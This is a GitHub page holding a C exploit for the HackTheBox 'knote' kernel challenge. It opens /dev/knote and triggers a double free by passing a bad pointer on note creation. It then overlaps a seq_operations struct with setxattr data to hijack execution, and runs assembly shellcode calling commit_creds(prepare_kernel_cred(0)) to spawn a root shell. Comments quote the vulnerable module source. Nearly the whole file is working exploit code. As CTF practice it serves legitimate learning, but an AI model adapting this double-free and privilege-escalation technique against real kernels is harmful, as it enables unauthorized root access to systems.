-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhackthebox_knote.c
More file actions
189 lines (170 loc) · 5.18 KB
/
hackthebox_knote.c
File metadata and controls
189 lines (170 loc) · 5.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <string.h>
#include <sys/timerfd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <sys/xattr.h>
//https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#seq_operations
/*
$ pahole seq_operations
struct seq_operations {
void * (*start)(struct seq_file *, loff_t *);
void (*stop)(struct seq_file *, void *);
void * (*next)(struct seq_file *, void *, loff_t *);
int (*show)(struct seq_file *, void *);
size: 32, cachelines: 1, members: 4
};
*/
#define self_proc "/proc/self/stat"
#define module "/dev/knote"
#define KNOTE_CREATE 0x1337
#define KNOTE_DELETE 0x1338
#define KNOTE_READ 0x1339
#define KNOTE_ENCRYPT 0x133a
#define KNOTE_DECRYPT 0x133b
#define kbase_noaslr 0xffffffff81000000 // kaslr is the only protection enabled but it seems to not change addresses
#define pop_rdx 0xffffffff81146092
#define pop_rdi 0xffffffff8127bbdc
#define pop_rsi 0xffffffff8101ccde
#define pop_rax 0xffffffff81022741
#define pop_rcx 0xffffffff812ea083
#define prepare_kcred 0xffffffff81053c50
#define commit_creds 0xffffffff81053a30
int fd, victim;
void sh(void){
close(victim);
printf("Got r00t!\n");system("/bin/sh");exit(0);
}
unsigned long user_cs, user_ss, user_rflags, user_sp, user_rip = (unsigned long) sh;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
// Structs of the module
/*
sizeof(struct knote) => 32 or 0x20
*/
struct knote {
char *data;
size_t len;
void (*encrypt_func)(char *, size_t);
void (*decrypt_func)(char *, size_t);
};
/*
sizeof(struct knote_user) => 24 or 0x18
*/
struct knote_user {
unsigned long idx;
char * data;
size_t len;
};
void create_note(unsigned long idx, char* data, size_t len){
struct knote_user k_user;
k_user.idx = idx; k_user.data = data; k_user.len = len;
ioctl(fd, KNOTE_CREATE, &k_user);
}
void delete_note(unsigned long idx){
struct knote_user k_user;
k_user.idx = idx;
ioctl(fd, KNOTE_DELETE, &k_user);
}
// commit_creds(prepare_kernel_cred(0)) shellcode
void* shellcode(void){
__asm__(
".intel_syntax noprefix;"
"xor rdi, rdi;"
"movabs rbx, 0xffffffff81053c50;"
"call rbx;"
"mov rdi, rax;"
"movabs rbx, 0xffffffff81053a30;"
"call rbx;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main(int argc, char** argv){
void *scode = &shellcode;
save_state();
fd = open(module, O_RDONLY);
if (fd < 0){perror("Cannot Open Device!\n");exit(-1);}
else{printf("Opened Device\n");}
create_note(0,(char*) 0x13371337,0x20); // bad pointer
delete_note(0); // double free
victim = open(self_proc, O_RDONLY); // allocate seq_operations struct
open("/proc/self/stat", O_RDONLY); // this will consume a free entry
setxattr(self_proc, "xpl", &scode, 0x20, 0); // will overlap with setxatrr
//two allocations will overlap due to the double free => RIP CONTROL
read(victim, NULL, 1);
return 0;
}
/*
gef> kbase
[+] Wait for memory scan
kernel text: 0xffffffff81000000-0xffffffff81401000 (0x401000 bytes)
kernel rodata: 0xffffffff81600000-0xffffffff816eb000 (0xeb000 bytes)
kernel data: 0xffffffff816eb000-0xffffffff818d1000 (0x1e6000 bytes)
*/
/*
case KNOTE_CREATE:
if(ku.len > 0x20 || ku.idx >= 10)
return -EINVAL;
char *data = kmalloc(ku.len, GFP_KERNEL);
knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
if(data == NULL || knotes[ku.idx] == NULL) {
mutex_unlock(&knote_ioctl_lock);
return -ENOMEM;
}
knotes[ku.idx]->data = data;
knotes[ku.idx]->len = ku.len;
if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) { if you pass a bad pointer it will kfree the note allocated
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
knotes[ku.idx]->encrypt_func = knote_encrypt;
knotes[ku.idx]->decrypt_func = knote_decrypt;
break;
case KNOTE_DELETE:
if(ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
knotes[ku.idx] = NULL;
break;
*/
/*
Achievement:
https://www.hackthebox.com/achievement/challenge/332195/261
*/